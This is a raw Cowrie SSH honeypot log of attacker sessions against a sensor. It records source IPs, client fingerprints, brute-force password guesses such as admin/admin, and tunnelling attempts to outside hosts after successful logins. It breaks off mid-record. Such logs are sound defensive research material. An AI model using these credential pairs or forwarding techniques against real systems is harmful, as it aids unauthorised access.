{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:22.965449Z","src_ip":"103.15.226.202","session":"f4e009a1cfa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"za","password":"za@2021","message":"login attempt [za/za@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:23.702927Z","src_ip":"103.15.226.202","session":"f4e009a1cfa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:24.951628Z","src_ip":"103.15.226.202","session":"f4e009a1cfa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:48.041882Z","src_ip":"125.124.92.11","session":"659e8eea25ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":30207,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e2132a4becc","protocol":"ssh","message":"New connection: 2.57.121.112:30207 (10.17.0.5:22) [session: 2e2132a4becc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:58.848244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:58.853317Z","src_ip":"2.57.121.112","session":"2e2132a4becc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:58.956246Z","src_ip":"2.57.121.112","session":"2e2132a4becc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"musique","message":"login attempt [admin/musique] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:59.446119Z","src_ip":"2.57.121.112","session":"2e2132a4becc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"musics","message":"login attempt [admin/musics] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:52:00.565520Z","src_ip":"2.57.121.112","session":"2e2132a4becc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"munchies","message":"login attempt [admin/munchies] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:52:01.680791Z","src_ip":"2.57.121.112","session":"2e2132a4becc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"muhtar","message":"login attempt [admin/muhtar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:52:02.803901Z","src_ip":"2.57.121.112","session":"2e2132a4becc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"muffie","message":"login attempt [admin/muffie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:52:03.934829Z","src_ip":"2.57.121.112","session":"2e2132a4becc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:52:05.064488Z","src_ip":"2.57.121.112","session":"2e2132a4becc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":41410,"dst_ip":"159.203.135.109","dst_port":22,"session":"74b4330c4f03","protocol":"ssh","message":"New connection: 79.127.181.103:41410 (159.203.135.109:22) [session: 74b4330c4f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:52:28.298640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:52:28.510355Z","src_ip":"79.127.181.103","session":"74b4330c4f03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:52:28.714469Z","src_ip":"79.127.181.103","session":"74b4330c4f03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:52:28.721251Z","src_ip":"79.127.181.103","session":"74b4330c4f03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":28028,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d28244c26ef","protocol":"ssh","message":"New connection: 87.251.64.176:28028 (10.17.0.5:22) [session: 6d28244c26ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:52:49.715782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:52:49.757883Z","src_ip":"87.251.64.176","session":"6d28244c26ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:52:49.824604Z","src_ip":"87.251.64.176","session":"6d28244c26ef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:52:50.282549Z","src_ip":"87.251.64.176","session":"6d28244c26ef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:52:50.409229Z","session":"6d28244c26ef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:52:50.531208Z","src_ip":"87.251.64.176","session":"6d28244c26ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:52:50.674026Z","src_ip":"87.251.64.176","session":"6d28244c26ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":55560,"dst_ip":"10.17.0.5","dst_port":22,"session":"b98056bf65f4","protocol":"ssh","message":"New connection: 45.148.10.121:55560 (10.17.0.5:22) [session: b98056bf65f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:36.456415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:36.468955Z","src_ip":"45.148.10.121","session":"b98056bf65f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:36.547412Z","src_ip":"45.148.10.121","session":"b98056bf65f4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:36.898143Z","src_ip":"45.148.10.121","session":"b98056bf65f4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:36.987037Z","session":"b98056bf65f4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:37.074626Z","src_ip":"45.148.10.121","session":"b98056bf65f4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:37.078137Z","src_ip":"45.148.10.121","session":"b98056bf65f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:37.167135Z","src_ip":"45.148.10.121","session":"b98056bf65f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":55576,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee85375adc4f","protocol":"ssh","message":"New connection: 45.148.10.121:55576 (10.17.0.5:22) [session: ee85375adc4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:37.248202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:37.252086Z","src_ip":"45.148.10.121","session":"ee85375adc4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:37.336770Z","src_ip":"45.148.10.121","session":"ee85375adc4f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:37.592055Z","src_ip":"45.148.10.121","session":"ee85375adc4f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:37.684404Z","session":"ee85375adc4f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:37.771706Z","src_ip":"45.148.10.121","session":"ee85375adc4f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:37.775814Z","src_ip":"45.148.10.121","session":"ee85375adc4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:37.865510Z","src_ip":"45.148.10.121","session":"ee85375adc4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.54","src_port":58826,"dst_ip":"159.203.135.109","dst_port":22,"session":"76ea8249f94c","protocol":"ssh","message":"New connection: 27.79.44.54:58826 (159.203.135.109:22) [session: 76ea8249f94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:53.600399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:53:53.644923Z","src_ip":"27.79.44.54","session":"76ea8249f94c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: 